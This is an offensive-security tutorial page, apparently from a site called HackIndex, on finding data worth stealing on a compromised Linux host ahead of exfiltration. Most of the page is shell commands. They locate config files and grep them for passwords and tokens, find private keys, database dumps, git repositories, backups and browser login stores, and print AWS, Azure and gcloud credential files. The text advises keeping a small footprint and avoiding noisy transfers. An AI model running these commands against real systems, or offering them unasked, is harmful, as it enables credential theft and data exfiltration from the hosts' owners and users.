Skip to content
HackIndex logo

HackIndex

High-Value Data Identification on Linux

3 min read Jul 14, 2026

Before transferring anything, identify what is worth taking. Blind recursive copies are noisy, slow, and leave obvious traces. A targeted sweep for credential material, keys, source code, database dumps, and backups gets you the highest-value data with the smallest footprint.

Credential Files

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 6 -type f \( \
-name "*.conf" -o -name "*.config" -o \
-name "*.env" -o -name ".env*" -o \
-name "*.ini" -o -name "*.yml" -o -name "*.yaml" -o \
-name "wp-config.php" -o -name "settings.py" -o \
-name "database.php" -o -name "config.php" \
\) 2>/dev/null | head -40

Grep across found files for credential patterns:

┌──(kali㉿kali)-[~]
└─$ grep -rli 'password\|passwd\|secret\|api_key\|token\|credentials' /var/www /opt /home /etc 2>/dev/null

The -l flag returns filenames only — faster and less noisy than printing every match.

Private Keys and Certificates

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 8 -type f \( \
-name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o \
-name "*.pem" -o -name "*.key" -o -name "*.p12" -o \
-name "*.pfx" -o -name "*.jks" \
\) 2>/dev/null

Check for readable private keys immediately — permissions matter:

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 8 -name "*.pem" -o -name "id_rsa" 2>/dev/null | xargs ls -la 2>/dev/null

Any world-readable private key is immediately useful. Keys in /etc/ssl/, /etc/apache2/, /etc/nginx/, and application cert directories are common finds.

Database Files and Dumps

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 8 -type f \( \
-name "*.sql" -o -name "*.sql.gz" -o \
-name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" \
\) 2>/dev/null | grep -v '/proc/'

SQLite databases for web applications, local password managers, and development environments are frequently found in home directories and application paths.

┌──(kali㉿kali)-[~]
└─$ find /var/backups /opt /home /tmp /var/tmp -name "*.sql*" -o -name "*.dump" 2>/dev/null

Source Code and Configuration Repositories

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 6 -type d -name ".git" 2>/dev/null

Git repositories contain full commit history — credentials removed in a later commit are still recoverable from earlier ones. The entire .git directory is worth exfiltrating, not just the working tree.

┌──(kali㉿kali)-[~]
└─$ find /var/www /opt /srv /home -maxdepth 5 -name "*.php" -o -name "*.py" -o -name "*.rb" -o -name "*.js" 2>/dev/null | xargs grep -li 'password\|secret\|key' 2>/dev/null

Backup Archives

┌──(kali㉿kali)-[~]
└─$ find / -maxdepth 6 -type f \( \
-name "*.tar" -o -name "*.tar.gz" -o -name "*.tgz" -o \
-name "*.zip" -o -name "*.bak" -o -name "*.backup" \
\) 2>/dev/null | grep -v '/proc/' | head -20

Backup files in /var/backups/, /tmp/, and home directories frequently contain copies of configuration files, shadow files, and database dumps from earlier system states.

Cloud Credential Files

┌──(kali㉿kali)-[~]
└─$ find /root /home -maxdepth 4 \( \
-name "credentials" -o \
-name "config" \
\) -path "*/.aws/*" -o -path "*/.azure/*" -o -path "*/.gcloud/*" 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ cat ~/.aws/credentials 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat ~/.azure/accessTokens.json 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null

Cloud credentials are among the highest-value findings on any Linux host. AWS keys in particular often have broad permissions attached.

Browser and Application Credential Stores

┌──(kali㉿kali)-[~]
└─$ find /home /root -maxdepth 5 -type f \( \
-name "Login Data" -o \
-name "key4.db" -o \
-name "logins.json" -o \
-name "*.keychain" \
\) 2>/dev/null

Chrome and Chromium store credentials in ~/.config/google-chrome/Default/Login Data (SQLite). Firefox uses key4.db and logins.json in the profile directory.

Sizing Before Transfer

Before exfiltrating, check the size of what you intend to take:

┌──(kali㉿kali)-[~]
└─$ du -sh /var/www/html/
┌──(kali㉿kali)-[~]
└─$ du -sh ~/.aws/
┌──(kali㉿kali)-[~]
└─$ find /home -name "*.sql.gz" 2>/dev/null | xargs du -sh 2>/dev/null

Large transfers are noisy. Prioritize credential material and keys — these are small and high value — before considering source code or database dumps.

References